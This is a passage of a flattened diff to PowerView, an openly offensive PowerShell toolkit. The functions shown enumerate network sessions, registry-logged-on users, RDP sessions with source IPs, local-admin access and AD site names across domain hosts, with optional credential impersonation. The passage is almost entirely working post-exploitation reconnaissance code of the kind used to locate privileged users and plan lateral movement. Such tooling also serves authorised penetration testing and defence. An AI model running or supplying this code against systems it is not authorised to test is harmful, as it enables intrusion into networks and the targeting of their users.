sqlserver -Credential $Cred - # arguments for NetShareEnum - $QueryLevel = 1 - $PtrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 +.OUTPUTS - # get the share information - $Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) +PowerView.SessionInfo - # Locate the offset of the initial intPtr - $Offset = $PtrInfo.ToInt64() +A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including +the CName/UserName/Time/IdleTime for each session, with the ComputerName added. - # 0 = success - if (($Result -eq 0) -and ($Offset -gt 0)) { +.LINK - # Work out how much to increment the pointer by finding out the size of the structure - $Increment = $SHARE_INFO_1::GetSize() +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [OutputType('PowerView.SessionInfo')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $SHARE_INFO_1 + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) - # return all the sections of the structure - $Shares = $Info | Select-Object * - $Shares | Add-Member Noteproperty 'ComputerName' $Computer - $Offset = $NewIntPtr.ToInt64() - $Offset += $Increment - $Shares + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + # arguments for NetSessionEnum + $QueryLevel = 10 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get session information + $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # work out how much to increment the pointer by finding out the size of the structure + $Increment = $SESSION_INFO_10::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SESSION_INFO_10 + + # return all the sections of the structure - have to do it this way for V2 + $Session = $Info | Select-Object * + $Session | Add-Member Noteproperty 'ComputerName' $Computer + $Session.PSObject.TypeNames.Insert(0, 'PowerView.SessionInfo') + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $Session + } - # free up the result buffer - $Null = $Netapi32::NetApiBufferFree($PtrInfo) + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "[Get-NetSession] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } } - else { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" + + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } } } -filter Get-NetLoggedon { +function Get-RegLoggedOn { <# - .SYNOPSIS +.SYNOPSIS + +Returns who is logged onto the local (or a remote) machine +through enumeration of remote registry keys. + +Note: This function requires only domain user rights on the +machine you're enumerating, but remote registry must be enabled. + +Author: Matt Kelly (@BreakersAll) +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, ConvertFrom-SID + +.DESCRIPTION + +This function will query the HKU registry values to retrieve the local +logged on users SID and then attempt and reverse it. +Adapted technique from Sysinternal's PSLoggedOn script. Benefit over +using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges +required (NetWkstaUserEnum requires remote admin access). + +.PARAMETER ComputerName - This function will execute the NetWkstaUserEnum Win32API call to query - a given host for actively logged on users. +Specifies the hostname to query for remote registry values (also accepts IP addresses). +Defaults to 'localhost'. - .PARAMETER ComputerName +.PARAMETER Credential - The hostname to query for logged on users. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. - .OUTPUTS +.EXAMPLE - WKSTA_USER_INFO_1 structure. A representation of the WKSTA_USER_INFO_1 - result structure which includes the username and domain of logged on users, - with the ComputerName added. +Get-RegLoggedOn - .EXAMPLE +Returns users actively logged onto the local host. - PS C:\> Get-NetLoggedon +.EXAMPLE - Returns users actively logged onto the local host. +Get-RegLoggedOn -ComputerName sqlserver - .EXAMPLE +Returns users actively logged onto the 'sqlserver' host. - PS C:\> Get-NetLoggedon -ComputerName sqlserver +.EXAMPLE - Returns users actively logged onto the 'sqlserver' host. +Get-DomainController | Get-RegLoggedOn - .EXAMPLE +Returns users actively logged on all domain controllers. - PS C:\> Get-NetComputer | Get-NetLoggedon +.EXAMPLE - Returns all logged on userse for all computers in the domain. +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-RegLoggedOn -ComputerName sqlserver -Credential $Cred - .LINK +.OUTPUTS - http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +PowerView.RegLoggedOnUser + +A PSCustomObject including the UserDomain/UserName/UserSID of each +actively logged on user, with the ComputerName added. #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.RegLoggedOnUser')] [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] + [String[]] $ComputerName = 'localhost' ) - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField - - # Declare the reference variables - $QueryLevel = 1 - $PtrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 - - # get logged on user information - $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) - - # Locate the offset of the initial intPtr - $Offset = $PtrInfo.ToInt64() + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } - # 0 = success - if (($Result -eq 0) -and ($Offset -gt 0)) { + PROCESS { + ForEach ($Computer in $ComputerName) { + try { + # retrieve HKU remote registry values + $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName") - # Work out how much to increment the pointer by finding out the size of the structure - $Increment = $WKSTA_USER_INFO_1::GetSize() + # sort out bogus sid's like _class + $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object { + $UserName = ConvertFrom-SID -ObjectSID $_ -OutputType 'DomainSimple' - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 + if ($UserName) { + $UserName, $UserDomain = $UserName.Split('@') + } + else { + $UserName = $_ + $UserDomain = $Null + } - # return all the sections of the structure - $LoggedOn = $Info | Select-Object * - $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer - $Offset = $NewIntPtr.ToInt64() - $Offset += $Increment - $LoggedOn + $RegLoggedOnUser = New-Object PSObject + $RegLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName" + $RegLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain + $RegLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName + $RegLoggedOnUser | Add-Member Noteproperty 'UserSID' $_ + $RegLoggedOnUser.PSObject.TypeNames.Insert(0, 'PowerView.RegLoggedOnUser') + $RegLoggedOnUser + } + } + catch { + Write-Verbose "[Get-RegLoggedOn] Error opening remote registry on '$ComputerName' : $_" + } } - - # free up the result buffer - $Null = $Netapi32::NetApiBufferFree($PtrInfo) } - else { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } } } -filter Get-NetSession { +function Get-NetRDPSession { <# - .SYNOPSIS +.SYNOPSIS - This function will execute the NetSessionEnum Win32API call to query - a given host for active sessions on the host. - Heavily adapted from dunedinite's post on stackoverflow (see LINK below) +Returns remote desktop/session information for the local (or a remote) machine. - .PARAMETER ComputerName +Note: only members of the Administrators or Account Operators local group +can successfully execute this functionality on a remote target. - The ComputerName to query for active sessions. +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf - .PARAMETER UserName +.DESCRIPTION - The user name to filter for active sessions. +This function will execute the WTSEnumerateSessionsEx and WTSQuerySessionInformation +Win32API calls to query a given RDP remote service for active sessions and originating +IPs. This is a replacement for qwinsta. - .OUTPUTS +.PARAMETER ComputerName - SESSION_INFO_10 structure. A representation of the SESSION_INFO_10 - result structure which includes the host and username associated - with active sessions, with the ComputerName added. +Specifies the hostname to query for active sessions (also accepts IP addresses). +Defaults to 'localhost'. - .EXAMPLE +.PARAMETER Credential - PS C:\> Get-NetSession +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. - Returns active sessions on the local host. +.EXAMPLE - .EXAMPLE +Get-NetRDPSession - PS C:\> Get-NetSession -ComputerName sqlserver +Returns active RDP/terminal sessions on the local host. - Returns active sessions on the 'sqlserver' host. +.EXAMPLE - .EXAMPLE +Get-NetRDPSession -ComputerName "sqlserver" - PS C:\> Get-NetDomainController | Get-NetSession +Returns active RDP/terminal sessions on the 'sqlserver' host. - Returns active sessions on all domain controllers. +.EXAMPLE - .LINK +Get-DomainController | Get-NetRDPSession - http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ -#> +Returns active RDP/terminal sessions on all domain controllers. - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] - [ValidateNotNullOrEmpty()] - $ComputerName = 'localhost', +.EXAMPLE - [String] - $UserName = '' - ) +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetRDPSession -ComputerName sqlserver -Credential $Cred - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField +.OUTPUTS - # arguments for NetSessionEnum - $QueryLevel = 10 - $PtrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 +PowerView.RDPSessionInfo - # get session information - $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) +A PSCustomObject representing a combined WTS_SESSION_INFO_1 and WTS_CLIENT_ADDRESS structure, +with the ComputerName added. - # Locate the offset of the initial intPtr - $Offset = $PtrInfo.ToInt64() +.LINK - # 0 = success - if (($Result -eq 0) -and ($Offset -gt 0)) { +https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx +#> - # Work out how much to increment the pointer by finding out the size of the structure - $Increment = $SESSION_INFO_10::GetSize() + [OutputType('PowerView.RDPSessionInfo')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $SESSION_INFO_10 + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) - # return all the sections of the structure - $Sessions = $Info | Select-Object * - $Sessions | Add-Member Noteproperty 'ComputerName' $Computer - $Offset = $NewIntPtr.ToInt64() - $Offset += $Increment - $Sessions + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential } - # free up the result buffer - $Null = $Netapi32::NetApiBufferFree($PtrInfo) - } - else { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" } -} + PROCESS { + ForEach ($Computer in $ComputerName) { -filter Get-LoggedOnLocal { -<# - .SYNOPSIS + # open up a handle to the Remote Desktop Session host + $Handle = $Wtsapi32::WTSOpenServerEx($Computer) - This function will query the HKU registry values to retrieve the local - logged on users SID and then attempt and reverse it. - Adapted technique from Sysinternal's PSLoggedOn script. Benefit over - using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges - required (NetWkstaUserEnum requires remote admin access). + # if we get a non-zero handle back, everything was successful + if ($Handle -ne 0) { - Note: This function requires only domain user rights on the - machine you're enumerating, but remote registry must be enabled. + # arguments for WTSEnumerateSessionsEx + $ppSessionInfo = [IntPtr]::Zero + $pCount = 0 - Function: Get-LoggedOnLocal - Author: Matt Kelly, @BreakersAll + # get information on all current sessions + $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() - .PARAMETER ComputerName + # locate the offset of the initial intPtr + $Offset = $ppSessionInfo.ToInt64() - The ComputerName to query for active sessions. + if (($Result -ne 0) -and ($Offset -gt 0)) { - .EXAMPLE + # work out how much to increment the pointer by finding out the size of the structure + $Increment = $WTS_SESSION_INFO_1::GetSize() - PS C:\> Get-LoggedOnLocal + # parse all the result structures + for ($i = 0; ($i -lt $pCount); $i++) { - Returns active sessions on the local host. + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WTS_SESSION_INFO_1 - .EXAMPLE + $RDPSession = New-Object PSObject - PS C:\> Get-LoggedOnLocal -ComputerName sqlserver + if ($Info.pHostName) { + $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName + } + else { + # if no hostname returned, use the specified hostname + $RDPSession | Add-Member Noteproperty 'ComputerName' $Computer + } - Returns active sessions on the 'sqlserver' host. + $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName -#> + if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) { + # if a domain isn't returned just use the username + $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)" + } + else { + $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)" + } - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] - [ValidateNotNullOrEmpty()] - $ComputerName = 'localhost' - ) + $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID + $RDPSession | Add-Member Noteproperty 'State' $Info.State - # process multiple host object types from the pipeline - $ComputerName = Get-NameField -Object $ComputerName + $ppBuffer = [IntPtr]::Zero + $pBytesReturned = 0 - try { - # retrieve HKU remote registry values - $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName") + # query for the source client IP with WTSQuerySessionInformation + # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx + $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = [Runtime.InteropServices.Marshal]::GetLastWin32Error() - # sort out bogus sid's like _class - $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object { - $UserName = Convert-SidToName $_ + if ($Result2 -eq 0) { + Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastError2).Message)" + } + else { + $Offset2 = $ppBuffer.ToInt64() + $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 + $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS - $Parts = $UserName.Split('\') - $UserDomain = $Null - $UserName = $Parts[-1] - if ($Parts.Length -eq 2) { - $UserDomain = $Parts[0] - } + $SourceIP = $Info2.Address + if ($SourceIP[2] -ne 0) { + $SourceIP = [String]$SourceIP[2]+'.'+[String]$SourceIP[3]+'.'+[String]$SourceIP[4]+'.'+[String]$SourceIP[5] + } + else { + $SourceIP = $Null + } - $LocalLoggedOnUser = New-Object PSObject - $LocalLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName" - $LocalLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain - $LocalLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName - $LocalLoggedOnUser | Add-Member Noteproperty 'UserSID' $_ - $LocalLoggedOnUser + $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP + $RDPSession.PSObject.TypeNames.Insert(0, 'PowerView.RDPSessionInfo') + $RDPSession + + # free up the memory buffer + $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) + + $Offset += $Increment + } + } + # free up the memory result buffer + $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount) + } + else { + Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + # close off the service handle + $Null = $Wtsapi32::WTSCloseServer($Handle) + } + else { + Write-Verbose "[Get-NetRDPSession] Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName" + } } } - catch { - Write-Verbose "Error opening remote registry on '$ComputerName'" + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } } } -filter Get-NetRDPSession { +function Test-AdminAccess { <# - .SYNOPSIS - - This function will execute the WTSEnumerateSessionsEx and - WTSQuerySessionInformation Win32API calls to query a given - RDP remote service for active sessions and originating IPs. - This is a replacement for qwinsta. - - Note: only members of the Administrators or Account Operators local group - can successfully execute this functionality on a remote target. - - .PARAMETER ComputerName +.SYNOPSIS - The hostname to query for active RDP sessions. +Tests if the current user has administrative access to the local (or a remote) machine. - .EXAMPLE +Idea stolen from the local_admin_search_enum post module in Metasploit written by: + 'Brandon McCann "zeknox" ' + 'Thomas McCarthy "smilingraccoon" ' + 'Royce Davis "r3dy" ' - PS C:\> Get-NetRDPSession +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf - Returns active RDP/terminal sessions on the local host. +.DESCRIPTION - .EXAMPLE +This function will use the OpenSCManagerW Win32API call to establish +a handle to the remote host. If this succeeds, the current user context +has local administrator acess to the target. - PS C:\> Get-NetRDPSession -ComputerName "sqlserver" +.PARAMETER ComputerName - Returns active RDP/terminal sessions on the 'sqlserver' host. +Specifies the hostname to check for local admin access (also accepts IP addresses). +Defaults to 'localhost'. - .EXAMPLE +.PARAMETER Credential - PS C:\> Get-NetDomainController | Get-NetRDPSession +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. - Returns active RDP/terminal sessions on all domain controllers. -#> - - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] - [ValidateNotNullOrEmpty()] - $ComputerName = 'localhost' - ) - - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField +.EXAMPLE - # open up a handle to the Remote Desktop Session host - $Handle = $Wtsapi32::WTSOpenServerEx($Computer) +Test-AdminAccess -ComputerName sqlserver - # if we get a non-zero handle back, everything was successful - if ($Handle -ne 0) { +Returns results indicating whether the current user has admin access to the 'sqlserver' host. - # arguments for WTSEnumerateSessionsEx - $ppSessionInfo = [IntPtr]::Zero - $pCount = 0 - - # get information on all current sessions - $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() +.EXAMPLE - # Locate the offset of the initial intPtr - $Offset = $ppSessionInfo.ToInt64() +Get-DomainComputer | Test-AdminAccess - if (($Result -ne 0) -and ($Offset -gt 0)) { +Returns what machines in the domain the current user has access to. - # Work out how much to increment the pointer by finding out the size of the structure - $Increment = $WTS_SESSION_INFO_1::GetSize() +.EXAMPLE - # parse all the result structures - for ($i = 0; ($i -lt $pCount); $i++) { - - # create a new int ptr at the given offset and cast the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $WTS_SESSION_INFO_1 +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Test-AdminAccess -ComputerName sqlserver -Credential $Cred - $RDPSession = New-Object PSObject +.OUTPUTS - if ($Info.pHostName) { - $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName - } - else { - # if no hostname returned, use the specified hostname - $RDPSession | Add-Member Noteproperty 'ComputerName' $Computer - } - - $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName +PowerView.AdminAccess - if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) { - # if a domain isn't returned just use the username - $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)" - } - else { - $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)" - } +A PSCustomObject containing the ComputerName and 'IsAdmin' set to whether +the current user has local admin rights, along with the ComputerName added. - $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID - $RDPSession | Add-Member Noteproperty 'State' $Info.State +.LINK - $ppBuffer = [IntPtr]::Zero - $pBytesReturned = 0 +https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> - # query for the source client IP with WTSQuerySessionInformation - # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx - $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + [OutputType('PowerView.AdminAccess')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', - if($Result -eq 0) { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError2).Message)" - } - else { - $Offset2 = $ppBuffer.ToInt64() - $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 - $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) - $SourceIP = $Info2.Address - if($SourceIP[2] -ne 0) { - $SourceIP = [String]$SourceIP[2]+"."+[String]$SourceIP[3]+"."+[String]$SourceIP[4]+"."+[String]$SourceIP[5] - } - else { - $SourceIP = $Null - } + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } - $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP - $RDPSession + PROCESS { + ForEach ($Computer in $ComputerName) { + # 0xF003F - SC_MANAGER_ALL_ACCESS + # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx + $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() - # free up the memory buffer - $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) + $IsAdmin = New-Object PSObject + $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer - $Offset += $Increment - } + # if we get a non-zero handle back, everything was successful + if ($Handle -ne 0) { + $Null = $Advapi32::CloseServiceHandle($Handle) + $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True } - # free up the memory result buffer - $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount) - } - else { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + else { + Write-Verbose "[Test-AdminAccess] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False + } + $IsAdmin.PSObject.TypeNames.Insert(0, 'PowerView.AdminAccess') + $IsAdmin } - # Close off the service handle - $Null = $Wtsapi32::WTSCloseServer($Handle) } - else { - Write-Verbose "Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName" + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } } } -filter Invoke-CheckLocalAdminAccess { +function Get-NetComputerSiteName { <# - .SYNOPSIS +.SYNOPSIS - This function will use the OpenSCManagerW Win32API call to establish - a handle to the remote host. If this succeeds, the current user context - has local administrator acess to the target. +Returns the AD site where the local (or a remote) machine resides. - Idea stolen from the local_admin_search_enum post module in Metasploit written by: - 'Brandon McCann "zeknox" ' - 'Thomas McCarthy "smilingraccoon" ' - 'Royce Davis "r3dy" ' +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf - .PARAMETER ComputerName +.DESCRIPTION - The hostname to query for active sessions. +This function will use the DsGetSiteName Win32API call to look up the +name of the site where a specified computer resides. - .OUTPUTS +.PARAMETER ComputerName - $True if the current user has local admin access to the hostname, $False otherwise +Specifies the hostname to check the site for (also accepts IP addresses). +Defaults to 'localhost'. - .EXAMPLE +.PARAMETER Credential - PS C:\> Invoke-CheckLocalAdminAccess -ComputerName sqlserver +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. - Returns active sessions on the local host. +.EXAMPLE - .EXAMPLE +Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local - PS C:\> Get-NetComputer | Invoke-CheckLocalAdminAccess +Returns the site for WINDOWS1.testlab.local. - Sees what machines in the domain the current user has access to. +.EXAMPLE - .LINK +Get-DomainComputer | Get-NetComputerSiteName - https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb - http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +Returns the sites for every machine in AD. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local -Credential $Cred + +.OUTPUTS + +PowerView.ComputerSite + +A PSCustomObject containing the ComputerName, IPAddress, and associated Site name. #> + [OutputType('PowerView.ComputerSite')] [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] - $ComputerName = 'localhost' + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + # if we get an IP address, try to resolve the IP to a hostname + if ($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') { + $IPAddress = $Computer + $Computer = [System.Net.Dns]::GetHostByAddress($Computer) | Select-Object -ExpandProperty HostName + } + else { + $IPAddress = @(Resolve-IPAddress -ComputerName $Computer)[0].IPAddress + } + + $PtrInfo = [IntPtr]::Zero + + $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo) + + $ComputerSite = New-Object PSObject + $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer + $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress + + if ($Result -eq 0) { + $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo) + $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename + } + else { + Write-Verbose "[Get-NetComputerSiteName] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + $ComputerSite | Add-Member Noteproperty 'SiteName' '' + } + $ComputerSite.PSObject.TypeNames.Insert(0, 'PowerView.ComputerSite') + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + + $ComputerSite + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-WMIRegProxy { +<# +.SYNOPSIS + +Enumerates the proxy server and WPAD conents for the current user. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION - # 0xF003F - SC_MANAGER_ALL_ACCESS - # 